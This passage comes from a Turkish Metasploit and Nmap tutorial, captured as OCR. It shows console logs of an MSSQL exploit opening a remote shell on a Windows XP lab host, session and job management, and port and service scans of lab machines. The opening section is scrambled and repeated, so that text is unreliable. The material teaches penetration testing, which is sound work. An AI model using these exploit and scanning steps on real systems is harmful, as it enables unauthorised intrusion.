[*] Command Stager progress 64.51% done (65956/102246 bytes)
[*] Command Stager progress 65.97% done (67455/102246 bytes)
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12

cd

C:

03.
03.
28.
26.
26.
04.
04.

Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
Command
21:25:34

\

C:\>dir
dir

C serecesendeki birimin etiketi yok.
Birim Seri Numarase: 3853-8590

\ dizini

12.2008
12.2008
07.2011
07.2011
07.2011
06.2012
06.2012

C:\>

Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager
Stager

progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress
progress

shell session 1
+0300 2012

18:48
18:48
14:41 <DIR>
16:06 <DIR>
16:07 <DIR>
18:25 <DIR>
18:27 <DIR>
2 Dosya
5 Dizin

-1

opened (192.168.1.11:60529 -> 192.168.1.22:4444) at Thu Jul

67.
68.
70.
71.
73.
74.
76.
77.
79.
80.
82.
83.
85.
86.
87.
89.
90.
92.
93.
95.
96.
98.
99.

00

44%
91%
37%
84%
30%
7%
24%
70%
17%
63%
10%
57%
03%
50%
96%
43%
90%
36%
83%
29%
76%
19%
59%
.00%

Microsoft Windows XP [Serem 5.1.2600]
(C) Telif Hakke 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>cd \

done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done
done

(68954/102246 bytes)
(70453/102246 bytes)
(71952/102246 bytes)
(73451/102246 bytes)
(74950/102246 bytes)
(76449/102246 bytes)
(77948/102246 bytes)
(79447/102246 bytes)
(80946/102246 bytes)
(82445/102246 bytes)
(83944/102246 bytes)
(85443/102246 bytes)
(86942/102246 bytes)
(88441/102246 bytes)
(89940/102246 bytes)
(91439/102246 bytes)
(92938/102246 bytes)
(94437/102246 bytes)
(95936/102246 bytes)
(97435/102246 bytes)
(98934/102246 bytes)
(100400/102246 bytes)
(101827/102246 bytes)
(102246/102246 bytes)

0 AUTOEXEC.BAT
0 CONFIG.SYS
Documents and Settings

Inetpub

MSDERelA
Program Files

WINDOWS

0 bayt

22.108.332.032 bayt boe

Ornek Exploit Moduilii Kullanimi : Microsoft SQL Payload
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2.4 Exploit Sonrasi Oturumlarinin Yonetilmesi

Exploit moddulleri calistirildiginda ve islem basariyla tamamlandiginda hedef ile sistem
arasinda bir oturum olusur. Belirlenen portlar ve IP adresleri Uzerinden kurulan iletisim,
exploit iglemi sonunda bilgilendirme amaciyla yazilir. Exploit isleminin ¢ok sayida
sisteme yapilmasi veya toplu halde exploit uygulamalarinda, hedefler ile sistem arasinda
acilacak oturumlar ile hemen iletisime gegmek gerekmeyebilir. Bu nedenle bir exploiti
calistinrken exploit -z komutu verilirse, gelen oturum iletisime gecilmeksizin arka plana
atilir ve oturum listesinde yerini alir. Eger iletisime gecilmis bir oturumun arkaplana
atimasi isteniyorsa, bu durumda gegerli oturum icindeyken CTRL+Z tus
kombinasyonunu kullanmak gerekecektir.

Basariyla ¢alismis exploit islemleri sonucunda uretilen oturumlar ile ilgili islem yapmak
icin sessions komutu kullanilir. Verilecek parametrelerle oturumlarin listelenmesi, bir
oturum veya tum oturumlarda ayni komutlarin calistirimasi ve oturumla iletisime
gecilmesi saglanabilir.

Bir dnceki ornekte elde edilen oturum arkaplana atillarak sessions komutunun 6rnek
kullanimlari agagida gosterilmistir.

[*] Command Stager progress - 100.00% done (102246/102246 bytes)
[*] Command shell session 1 opened (192.168.1.11:60529 -> 192.168.1.22:4444) at Thu Jul
12 21:25:34 +0300 2012

Microsoft Windows XP [Serem 5.1.2600]
(C) Telif Hakke 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>cd \
cd |\

C:\>dir

dir

C serecesendeki birimin etiketi yok.
Birim Seri Numarase: 3853-8590

C:\ dizini

03.12.2008 18:48 0 AUTOEXEC.BAT
03.12.2008 18:48 0 CONFIG.SYS

28.07.2011 14:41 <DIR> Documents and Settings
26.07.2011 16:06 <DIR> Inetpub

26.07.2011 16:07 <DIR> MSDERelA

04.06.2012 18:25 <DIR> Program Files
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04.06.2012 18:27 <DIR> WINDOWS
2 Dosya 0 bayt
5 Dizin  22.108.332.032 bayt boe

C:\>*Z
Background session 1? [y/N] vy

msf exploit(mssql_payload) > sessions -h
Usage: sessions [options]

Active session manipulation and interaction.
OPTIONS:

-K Terminate all sessions

-c <opt> Run a command on the session given with -i, or all
-d <opt> Detach an interactive session

-h Help banner

-1 <opt> Interact with the supplied session ID

-k <opt> Terminate session

-1 List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all

-s <opt> Run a script on the session given with -i, or all
-u <opt> Upgrade a win32 shell to a meterpreter session
-V List verbose fields

msf exploit(mssql_payload) > sessions

Active sessions

Id Type Information
Connection

Microsoft Cor... 192.168.1.11:60529 -> 192.168.1.22:4444 (192.168.1.22)

msf exploit(mssql_payload) > sessions -1 1
[*] Starting interaction with 1...

Microsoft Windows XP [Serem 5.1.2600]
(C) Telif Hakke 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>cd \
C:\>dir

C serecesendeki birimin etiketi yok.
Birim Seri Numarase: 3853-8590

1 shell windows Microsoft Windows XP [S_r_m 5.1.2600] (C) Telif Hakk_ 1985-2001
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03.
03.
28.
26.
26.
04.
04.

12.
12.
07.
07.
07.
06.
06.

C:\>

C:\ dizini

2008
2008
2011
2011
2011
2012
2012

18
18

14:
16:
16:
18:
18:

148

148

41 <DIR>
06 <DIR>
07 <DIR>
25 <DIR>
27 <DIR>
2 Dosya

5 Dizin

0 AUTOEXEC.BAT
0 CONFIG.SYS
Documents and Settings
Inetpub
MSDERelA
Program Files
WINDOWS
0 bayt

22.108.332.032 bayt boe

Exploit Sonrasi Oturumlarinin Yénetimi
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2.5 is ve Gorevlerin Yonetimi

Toplu ele gegirme igin 6zel ¢aligsan, ¢alismasi uzun sure alan, servis olarak ¢alisan veya
duzenli bilgi toplayan moddullerin islemleri arkaplanda yurutmesi gerekmektedir. Boylece
calisma ortaminda bekleme olmayacak, islerin es zamanli yapilmasi saglanacak ve igler
yonetilebilecektir. Bu noktada islerin yonetimi i¢in jobs komutu kullaniimaktadir, islerin
arkaplanda calistiriimasi icin ise exploit -j veya run -j parametreleri tercih edilmelidir.

Ornekte UDP temelli servislerin saptanmasi igin kullanilabilen
auxiliary/scanner/discovery/udp_sweep modulinun arka plana atilmasi ve is yonetimi
aktariimaktadir.

msf > use auxiliary/scanner/discovery/udp_sweep
msf auxiliary(udp_sweep) > info

Name: UDP Service Sweeper
Module: auxiliary/scanner/discovery/udp_sweep
Version: 15394
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <hdm@metasploit.com>

Basic options:

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to probe in each set

CHOST no The local client address

RHOSTS yes The target address range or CIDR identifier

THREADS 1 yes The number of concurrent threads
Description:

Detect common UDP services

msf auxiliary(udp_sweep) > set RHOSTS 192.168.1.20-30
RHOSTS => 192.168.1.20-30

msf auxiliary(udp_sweep) > run -h
Usage: run [options]

Launches an auxiliary module.

OPTIONS:

-a <opt> The action to use. If none is specified, ACTION is used.
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-h Help banner.
-j Run in the context of a job.
-0 <opt> A comma separated list of options in VAR=VAL format.
-q Run the module in quiet mode with no output

msf auxiliary(udp_sweep) > run -j

[*] Auxiliary module running as background job

msf auxiliary(udp_sweep) > jobs

Jobs

Id Name
® Auxiliary: scanner/discovery/udp_sweep

msf auxiliary(udp_sweep) > jobs -h

Usage: jobs [options]

Active job manipulation and interaction.

OPTIONS:
-K Terminate all running jobs.
-h Help banner.
-1 <opt> Lists detailed information about a running job.
-k <opt> Terminate the specified job name.
-1 List all running jobs.
-v Print more detailed info. Use with -1 and -1

msf auxiliary(udp_sweep) > jobs -K

Stopping all jobs...

Modiil Calismasi Esnasinda islerin Yonetimi
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3 Guvenlik Denetimi Adimlari

3.1 Bilgi Toplama Asamasi

3.1.1 Nmap Kullanarak Ag Haritalama

Nmap guvenlik tarama araci, Fyodor tarafindan gelistirimeye baslanmis ve sonrasinda
birgok gelistiricinin de katkisiyla 6nemli 6zellikler kazanmig bir ag haritalama yazilimidir.
Nmap'in gelismis Ozelliklerinin arasinda; ileri diuzey port tarama secgenekleri, igletim
sistemi saptama ve NSE (Nmap Scripting Engine) ile guvenlik testleri hazirlanabilmesi
yer almaktadir.

Metasploit Framework Uzerinde kullanilabilecek db_import komutu ile Nmap'in XML
ciktilarini galisma alanina aktarmak, db_nmap komutu ile sistemde yukla bulunan
Nmap'i dogrudan parametrelerle calistirarak sonuglari c¢aligma alanina aktarmak
mumkundur. Kullanilacak parametreler ve yapilabilecek islemlerin tamami Nmap'in
sistemde yuklu olan surumu igin olmalhdir, Metasploit Framework sadece parametreleri
aktarir ve sonuglari ¢alisma alanina tagsir.

Nmap ile yapilabilecek olan aktif sistem taramasi, port tarama, igletim sistemi saptama
ve hazir testlerin kullanimi iglemleri, daha detayli olarak yardim dosyalarindan alinabilir.
Bu bolimde Nmap'in temel kullanim o6rnekleri ve sikca kullanimi gerekebilecek
secenekler gosterilecektir.

Bir guvenlik denetimi surecinde, verilen kapsamda yeralan sistemleri saptamak kritik bir
adimdir, segilebilecek hatali saptama turleri ve secgenekler kritik bir sistemi gdzden
kagirmaya neden olabilir. Nmap ile aktif sistem saptama icin -sP (Ping Scan)
parametresi kullanilir, farkli ping tarleri icin ise -P ile baslayan parametreler verilir.
Standart ping taramasi igin ICMP protokold kullanilir; ICMP tipi segiminde -PE Echo igin,
-PP Timestamp icgin ve -PM NetMask icin kullanilir. Eger -sP sonrasinda bir parameter
kullanilmazsa; varsayilan aktif sistem taramasi yerel ag i¢cin ARP taramasi, ICMP Echo
istegi ve TCP paketleri sirayla kullanilr.

TCP protokolu ile aktif sistemleri saptamak igin, farkli bayraklarla paketler gonderilebilir
ve alinacak her turliU paket cevap kabul edilir. Hangi bayraklar iceren paket
hazirlanacaksa, o bayragin ilk harfini iceren -PS, -PA, -PSA parametreleri ile TCP ping
taramasi yapilabilir. Sonrasinda port numaralari vererek TCP isteginin gonderilecegi
portlari da belirtmek gerekecektir.
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msf > db_nmap -sP -n -PS80,443,21,23 192.168.1.30-40

[*] Nmap: Starting Nmap 5.21 ( http://nmap.org ) at 2012-07-14 14:13 EEST
[*] Nmap: Nmap scan report for 192.168.1.31

[*] Nmap: Host is up (0.00057s latency).

[*] Nmap: MAC Address: 00:0C:29:E6:35:DC (VMware)

[*] Nmap: Nmap scan report for 192.168.1.32

[*] Nmap: Host is up (0.00051s latency).

[*] Nmap: MAC Address: 00:0C:29:DC:38:09 (VMware)

[*] Nmap: Nmap done: 11 IP addresses (2 hosts up) scanned in 0.22 seconds

Nmap ile Aktif Sistemlerin Saptanmasi

Aktif sistemlerin saptanmasi sonrasinda atilmasi gereken analiz adimlari; hedeflerin aktif
servislerinin bulunmasi, servisleri kullanan yazilimlarin saptanmasi, isletim sistemlerinin
ve yama seviyelerinin saptanmasidir. Ayrica Nmap'in yardimci testleri araciligiyla
sistemlerden, sonraki adimlarda yardimci olabilecek veriler elde edilebilir. Hedeflerin
acik portlarinin saptanmasi i¢cin TCP ve UDP port taramasi yapilabilir;, UDP taramasi
sadece bir tir paket gonderiminden ibarettir, ancak TCP port taramasinda gonderilecek
paketlerde farkli bayraklar kullanarak farkli sonuglar almak mamkundur.

TCP protokolinin en 6nemli 6zelligi, 3 yollu el sikisma olarak bilinen oturum agma
Ozelligidir. Bir sisteme baglanmak isteniyorsa, sistem TCP paketine SYN bayragi ile sira
numarasl (ISN 1) koyar ve hedef sisteme goénderir. Hedef sistemden SYN bayragina ek
olarak ACK bayragi koyulmus ve yeni sira numarasi (ISN 2) ile onay numarasini da (ISN
1 + 1) iceren paket gelir . Daha sonra ACK bayrakli ve onay numarasi (ISN 2 + 1) iceren
paket hedefe gdnderilir ve oturumun agilmasi saglanir.

SYN —
da _

SYN/ACK

ACK =

>_

TCP Oturum Agihisi
TCP Connect Scan (-sT)

TCP Connect taramasi TCP oturum ag¢ma islemini yapar ve oturum acildiginda
baglantiy1 kapatip portun agik oldugu bilgisini verir. Bu tarama turanun iyi yani, oturumun
acik oldugunu bire bir test etmesi ve servis engelleme saldirisi olugsmasini énlemesidir,
kota tarafi ise hedef sistemin agilan buttiin oturumlari kaydetmesi durumunda IP bilgisinin
kargi sistemin kayitlarinda yerini almis olmasidir. Eger hedef sistemde TCPWrapper
olarak bilinen ve IP temelli kisittamalar uygulayan bir servis caligiyor ise tarama
yazilminin yeteneklerine bagl olarak portlar kapali olarak gorulebilmektedir.
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TCP SYN Scan (-sS)

SYN taramasi, TCP oturum agma islemini yapmadan sadece SYN/ACK cevaplarini
yeterli kriter olarak kabul etmektedir. Tarama slrecinde, SYN bayrakli paketi gonderme
ve SYN/ACK bayrakli cevap paketi almak, sonrasinda ise RST/ACK bayrakli bir paket
gonderilerek oturumun agiimasinin reddedilmesi saglanmaktadir.

Portun acik oldugu sonucuna SYN/ACK bayrakli paket alindiginda karar verilir.
RST/ACK bayrakl paket oturumun resetlenmesi igin gonderilen pakettir. Bdylece oturum
acllmadigindan kayitlara gecme ihtimali azalir, ancak bir guvenlik duvari veya saldiri
Oonleme sistemi tarafindan kesinlikle farkedilecektir. Eger RST/ACK bayrakli paket
gonderilmezse karsi sistem oturumun agilmasini beklemeye devam eder. Bu sekilde,
badlanti isteginde bulunup cevap vermeme islemi fazlaca yapilirsa SYN Flood (SYN
seli) denilen servis engelleme saldirisi olugur ve karsi sistemin kilittenmesine sebep olur.
Yeni guvenlik duvarlarinin oturum agcmada bekleme suresi siniri koyarak bunu onledigi
ve butun saldirilarin kaydini tuttugu da unutulmamalidir.

TCP ACK Scan (-sA)

ACK bayrakli tarama ile onaylanmis bir oturum gibi génderilen paketler kullanilarak
guvenlik duvarlarinin oturum takibi yeteneklerinin istismari hedeflenmektedir. Genellikle
guvenlik duvarlarinin yeteneklerinin gelismesi nedeniyle etkisiz kalmakla birlikte, ag
cihazlari Uzerindeki kisitl ozelliklere sahip guvenlik duvarlarinda etkili olabilmektedir.
Oturum takip analizi, isletim sistemi analizi gibi kullanim alanlari bulunmaktadir.

UDP Scan (-sU)

Bu teknik hedef porta UDP paketi gonderilerek kapal olan porttan "ICMP port
unreachable" mesajinin alinmasi temeline dayanir. Birgok UDP servisinin gegerli veri
icermeyen UDP paketlerini goz ardi ettigi dikkate alinmalidir. UDP temelli taramalarin
verimi, bir filtreleme cihazinin bulundugu ortamlarda ¢ok dulsuktlr; sadece paket
alinamamasi temelli bir taramada cevap alinamayacag! i¢in tum portlar agik sayilacaktir.

* Metasploit Framework Uzerinde UDP tarama modulleri araciligiyla islevsel UDP
paketleri gondererek aktif sistem taramasi yapmak c¢ok daha verimli sonuglar
cikaracaktir. Belirtilen modullerin gondermekte olduklari UDP paketlerinin icerigi, gecerli
servis sorgulama verileri icermekte oldugu icin servis erigilebilir ise cevap alinacaktir.
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isletim Sistemi Saptama (-O)

Hedef sistemlerin igletim sistemleri guvenlik agiklarinin saptanmasinda ve
kullaniimasinda kritik 6nem arz etmektedir. Ayni uygulama farkl igletim sistemlerinde
farkli guvenlik aciklari icerebilmektedir. Ayrica bir agigin kullanimi sonucunda sistemde
calistinlmasi planlanan kodlar icinde isletim sistemi konusunda yeterli bilgiye ulasiimig
olmaldir. Birkag yontem kullanilarak hedef sistemlerin isletim sistemleri
saptanabilmektedir, siklikla kullanilan yontemler acgilis/karsilama/hata mesaji yakalama,
Aktif TCP parmakizleri saptama, Pasif TCP parmakizleri saptama ve ICMP kullanarak
isletim sistemi saptamadir.

Servis ve Parmak izi Analizi (-sV)

Nmap'in servislere gonderdigi test amacli istekler ve aldiklari cevaplardan olusan bir
parmak izi veritabani bulunmaktadir. Veritabanindaki girdileri esas alarak, hedefin agik
oldugu saptanan portlarina belirli bir sirada paketler gonderir ve hedefin verdidi cevaplar
dogrultusunda servisin tirand saptar. Saptanan servis tliri bazi durumlarda sadece
yazilhim turt iken, bilgi sizdiran bir servis ise surum ve yama numarasi da alinabilir.

Nmap Betikleri ile Glivenlik Agig1 Testleri (-A veya --script)

NSE araciligiyla hazirlanmig testler, Nmap'in saptamis oldugu aktif servislere ek
analizler yapilmasini saglar. Testlerin amaci servisten ek bilgi almak, sirim detayi
almak, bilgi sizdirmak, bir guvenlik agigini arastirmak veya toplu bilgi alimi saglamak
olabilmektedir. Nmap'in test veritabani hergin yenilenmekte ve buyumektedir, bu
dogrultuda yapilacak bir analizde tum testleri ¢alistirmak veya belirli bir testi ¢alistirmak
ta mUmkandar.

Port Secgenekleri (-F, -p80-443,445,5000)

TCP ve UDP protokolleri tzerinde calismakta olan servislerin saptanabilmesi icin port
araliklarinin da dogru bicimde aktariimasi gerekmektedir. Bir guvenlik denetimi
surecinde herhangi bir servisin gézden kagmamasi igin 65535 portun tamaminin
denetlenmesi gerekmektedir. Ancak 6zel durum analizi, belirli bir sistem veya guvenlik
acigl analizinde, sadece hedeflenen portlarin taranmasi da mumkundir. Nmap port
aralgl verilmezse varsayilan servis listesindeki portlari tarar, -F ile daha fazla portu
taramasi istenebilir veya o6zel port tanimlamasi -p80-443,445,5000 secenegi gibi
yapilabilir.
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Nmap'in genel kullanim komutlari ve segenekleri diginda, 6zel durumlar veya guvenlik
teknolojilerini atlatmak igin kullanilabilecek ek segenekleri de vardir. Bu tur segenekler
ileri duzey guvenlik denetimi yapilacagli zaman gerekli olabilmekte, elde edilecek ¢iktilar
ile sistemlerin saptanamayan servislerinin saptanmasi veya guvenlik teknolojileriin
analizi de yapilabilmektedir.

Ornek bir servis analizi icin asagidaki érnek hazirlanmistir; iki hedef sistem Uizerinde cok
saylda port ve servis etkin durumdadir. Denetim esnasinda hizli bir TCP port taramasi
ve servis analizi istenmig, ayrica igletim sistemi saptama ile Nmap testlerinin de
calismasi yapilmasi igin ek parametreler verilmigtir.

> db_nmap -sS -sV -0 -A -n -F 192.168.1.30-40

Nmap: Starting Nmap 5.21 ( http://nmap.org ) at 2012-07-14 14:46 EEST

Nmap: Nmap scan report for 192.168.1.31

Nmap: Host is up (0.00048s latency).

Nmap: Not shown: 82 closed ports

Nmap: PORT STATE SERVICE VERSION

Nmap: 21/tcp open ftp vsftpd 2.3.4

Nmap: |_ftp-anon: Anonymous FTP login allowed

Nmap: 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)

Nmap: | ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

Nmap: |_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

Nmap: 23/tcp open telnet Linux telnetd

Nmap: 25/tcp open smtp Postfix smtpd

Nmap: |_smtp-commands: EHLO metasploitable.localdomain, PIPELINING, SIZE 10240000,
Y, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN

Nmap: 53/tcp open domain ISC BIND 9.4.2

Nmap: 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

Nmap: |_html-title: Metasploitable2 - Linux

Nmap: 111/tcp open rpcbind

3
* 0
-

E R R I R T R

*

L B e T e B s T e T s B s e B e T e B e B e W s |

VR

* %

*

*] Nmap: | rpcinfo:

*] Nmap: 100000 2 111/udp rpcbind
*] Nmap: 100003 2,3,4 2049/udp nfs

*] Nmap: 100024 1 51874/udp status

100005 1,2,3 59607/udp mountd

100021 1,3,4 60933/udp nlockmgr

100000 2 111/tcp rpcbind

Nmap: 100003 2,3,4 2049/tcp nfs

Nmap: | 100021 1,3,4 47498/tcp nlockmgr

Nmap: | 100024 1 53938/tcp status

Nmap: |_100005 1,2,3 60465/tcp mountd

Nmap: 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
Nmap: 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
Nmap: 513/tcp open login?

Nmap: 514/tcp open shell?

Nmap: 2049/tcp open rpcbind

Nmap:
Nmap:
Nmap:

*

*

* 0¥ F X ¥ X

*

*
— e e e e e e e e e e e e e e e e e e T e e e e e e e e e e e e

L B e T e B s T e T s B s T s T e T e B e T e B s I e B s B s B s B e B s B |
* X

*
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[*] Nmap: 2121/tcp open ftp ProFTPD 1.3.1

[*] Nmap: 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

[*] Nmap: | mysql-info: Protocol: 10

[*] Nmap: | Version: 5.0.51a-3ubuntu5

[*] Nmap: | Thread ID: 8

[*] Nmap: | Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure
Connection

[*] Nmap: | Status: Autocommit

[*] Nmap: |_Salt: ,_|sJVS{2'kf=@geGq%"

[*] Nmap: 5432/tcp open postgresql PostgreSQL DB

[*] Nmap: 5900/tcp open vnc VNC (protocol 3.3)

[*] Nmap: 6000/tcp open X11 (access denied)

[*] Nmap: 8009/tcp open ajpi3 Apache Jserv (Protocol v1.3)

[*] Nmap: 1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
http://www.insecure.org/cgi-bin/servicefp-submit.cgi :

[*] Nmap: SF-Port514-TCP:V=5.21%I=7%D=7/14%Time=50015BFB%P=x86_64-unknown-1inux-gnu%
*] Nmap: SF:r(NULL,33,"\x01getnameinfo:\x20Temporary\x20failure\x20in\x20name\x20re
Nmap: SF:solution\n");

Nmap: MAC Address: 00:0C:29:E6:35:DC (VMware)

Nmap: No exact 0S matches for host (If you know what 0S is running on it, see
p://nmap.org/submit/ ).

Nmap: TCP/IP fingerprint:

Nmap: 0S:SCAN(V=5.21%D=7/14%0T=21%CT=7%CU=34755%PV=Y%DS=1%DC=D%G=Y%M=000C29%TM=50
Nmap: 0S:015C17%P=x86_64-unknown-1inux-gnu)SEQ(SP=CO%GCD=1%ISR=CB%TI=2%CI=2%11=1%
Nmap: 0S:TS=7)0PS(01=M5B4ST11NW5%02=M5B4ST11NW5%03=M5B4NNT11NW5%04=M5B4ST11NW5%05
Nmap: 0S:=M5B4ST11NW5%06=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=
Nmap: 0S:16A0)ECN(R=Y%DF=Y%T=40%W=16D0%0=M5B4NNSNW5%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=0%
Nmap: 0S:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=0%A=S+%F=AS%0=M5B4ST1
Nmap: 0S:1NW5%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=2%F=R%0=%RD=0%Q=)T5(R=Y%DF=Y%T=4
Nmap: 0S:0%W=0%S=Z%A=S+%F=AR%0=%RD=0%Q=)T6 (R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%0=%RD=0%
Nmap: 0S:Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%0=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=16
Nmap: 0S:4%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Nmap: Network Distance: 1 hop

Nmap: Service Info: Host: metasploitable.localdomain; 0Ss: Unix, Linux

Nmap: Host script results:

Nmap: | smb-os-discovery:

Nmap: | 0S: Unix (Samba 3.0.20-Debian)

Nmap: | Name: WORKGROUP\Unknown

Nmap: |_ System time: 2012-07-14 14:46:26 UTC-4

Nmap: HOP RTT ADDRESS

Nmap: 1 0.48 ms 192.168.1.31

Nmap: Nmap scan report for 192.168.1.32

Nmap: Host is up (0.00050s latency).

Nmap: Not shown: 91 closed ports

Nmap: PORT STATE SERVICE VERSION

Nmap: 25/tcp open smtp Microsoft ESMTP 6.0.2600.2180

Nmap: 80/tcp open http Microsoft IIS webserver 5.1

Nmap: |_html-title: \xC7al\xFD\xFEmalar S\xFCr\xFCyor

Nmap: 135/tcp open msrpc Microsoft Windows RPC

Nmap: 139/tcp open netbios-ssn

*

* X

t

* X kX Ok X F X

0¥ kX kX Ok Xk Xk X F X F* X * ¥ *

*
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1 Nmap:
1 Nmap:
1 Nmap:
1 Nmap:
1 Nmap:
1 Nmap:
*] Nmap:
1 Nmap:
1 Nmap:
1 Nmap:
1 Nmap:
*] Nmap:
*] Nmap:
0:0c:29:d
*] Nmap:
1 Nmap:
1 Nmap:
1 Nmap:
1 Nmap:
1 Nmap:
1 Nmap:
1 Nmap:
t
]

Nmap:

443/tcp open https?

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

1025/tcp open msrpc Microsoft Windows RPC

1433 /tcp open ms-sql-s Microsoft SQL Server 2000 8.00.766; SP3a
3389/tcp open microsoft-rdp Microsoft Terminal Service

MAC Address: 00:0C:29:DC:38:09 (VMware)

Device type: general purpose

Running: Microsoft Windows XP|2003

0S details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop

Service Info: Host: HacmeOne; 0S: Windows

Host script results:

| _nbstat: NetBIOS name: HACMEONE, NetBIOS user: <unknown>, NetBIOS MAC:
c:38:09

| smb-os-discovery:

| 0S: Windows XP (Windows 2000 LAN Manager)

[ Name: HACME\HACMEONE

| _ System time: 2012-07-14 14:46:30 UTC+3

| _smbv2-enabled: Server doesn't support SMBv2 protocol

HOP RTT ADDRESS

1 0.50 ms 192.168.1.32

0S and Service detection performed. Please report any incorrect results at

Nmap done: 11 IP addresses (2 hosts up) scanned in 28.27 seconds

Nmap'in isten
aktariimis ol

Nmap ile Port Taramasi ve Servis Analizi

en segenekler ile ¢aligtirlmasi sonrasinda olugan sonuglar galisma alanina
malidir. Calisma alaninda sistemler, servisler ve bilgiler bodlumleri

incelendiginde sonuglari da gérmek mimkun olacaktir. Sistemler ve servisler Gzerinde,
belirli bir kelime veya etiketle arama da yapilabilmektedir.

msf > host
Usage: hos

OPTIONS:
-a,--add
-d, --del
-c <col1
-h,--hel
-u,--up
-0 <file
-R,--rho
-S,--sea

Available

purpose, s

host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp,

s -h
ts [ options ] [addril addr2 ...]

Add the hosts instead of searching
ete Delete the hosts instead of searching
,col2> Only show the given columns (see list below)
p Show this help information

Only show hosts which are up
> Send output to a file in csv format
sts Set RHOSTS from the results of the search
rch Search string to filter by

columns: address, arch, comm, comments, created_at, exploit_attempt_count,

cope, service_count, state, updated_at, virtual_host, vuln_count
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msf > hosts

address
info comments

mac

192.168.1.31 00:0C:29:E6:35:DC
192.168.1.32 00:0C:29:DC:38:09

msf > hosts -S win

address
info comments

mac

192.168.1.32 00:0C:29:DC:38:09

name

name

0S_name

Linux
Microsoft Windows

0S_name

Microsoft Windows

os_flavor

Ubuntu
2003

os_flavor

2003

0S_sp

0S_sp

purpose

server
device

purpose

Calisma Alanindaki Sistemlerin Goriintiilenmesi

msf > services -h

Usage: services [-h] [-u] [-a] [-r <proto>] [-p <portl,port2>] [-s <namel,name2>] [-o0

<filename>] [addrl addr2 ...]

-a,--add
-d,--delete

-c <coli,col2>
-h,--help

-S <namel,name2>
-p <portil,port2>
-r <protocol>

-u,--up
-0 <file>

-R,--rhosts
-S,--search

Add the services instead of searching
Delete the services instead of searching
Only show the given columns
Show this help information
Search for a list of service
Search for a list of ports
Only show [tcp|udp] services
Only show services which are up
Send output to a file in csv
Set RHOSTS from the results of the search
Search string to filter by

names

format

Available columns: created_at, info, name, port, proto, state, updated_at
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msf > services

Services
host
192.168.1.31
192.168.1.31
2.0
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.31
192.168.1.32
192.168.1.32
192.168.1.32
192.168.1.32
192.168.1.32
192.168.1.32
192.168.1.32
192.168.1.32
SP3a
192.168.1.32

port
21
22

23
25
53
80
111
139
445
513
514
2049
2121
8009
5432
5900
6000
3306
25
80
135
139
443
445
1025
1433

3389

tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp

tcp

msf > services -S sql

Services

host

192.168.1.31
192.168.1.31
192.168.1.32

port
3306
5432
1433

name
ftp
ssh

telnet

smtp

domain

http
rpcbind
netbios-ssn
netbios-ssn

rpcbind
ftp

ajp13
postgresql
vNnc

x11

mysql

smtp

http

msrpc
netbios-ssn

microsoft-ds
mSrpc
ms-sql-s

microsoft-rdp

name
mysql
postgresql
ms-sql-s

open
open
open

state 1info
open vsftpd 2.3.4
open  OpenSSH 4.7p1 Debian 8ubuntul protocol
open Linux telnetd
open Postfix smtpd
open ISC BIND 9.4.2
open  Apache httpd 2.2.8 (Ubuntu) DAV/2
open
open  Samba smbd 3.X workgroup: WORKGROUP
open Samba smbd 3.X workgroup: WORKGROUP
open
open
open
open ProFTPD 1.3.1
open  Apache Jserv Protocol v1.3
open  PostgreSQL DB
open VNC protocol 3.3
open access denied
open  MySQL 5.0.51a-3ubuntu5s
open  Microsoft ESMTP 6.0.2600.2180
open  Microsoft IIS webserver 5.1
open  Microsoft Windows RPC
open
open
open  Microsoft Windows XP microsoft-ds
open  Microsoft Windows RPC
open  Microsoft SQL Server 2000 8.00.766;
open Microsoft Terminal Service
info

MySQL 5.0.51a-3ubuntu5
PostgreSQL DB
Microsoft SQL Server 2000 8.00.766; SP3a

Calisma Alanindaki Servislerin Goruntilenmesi
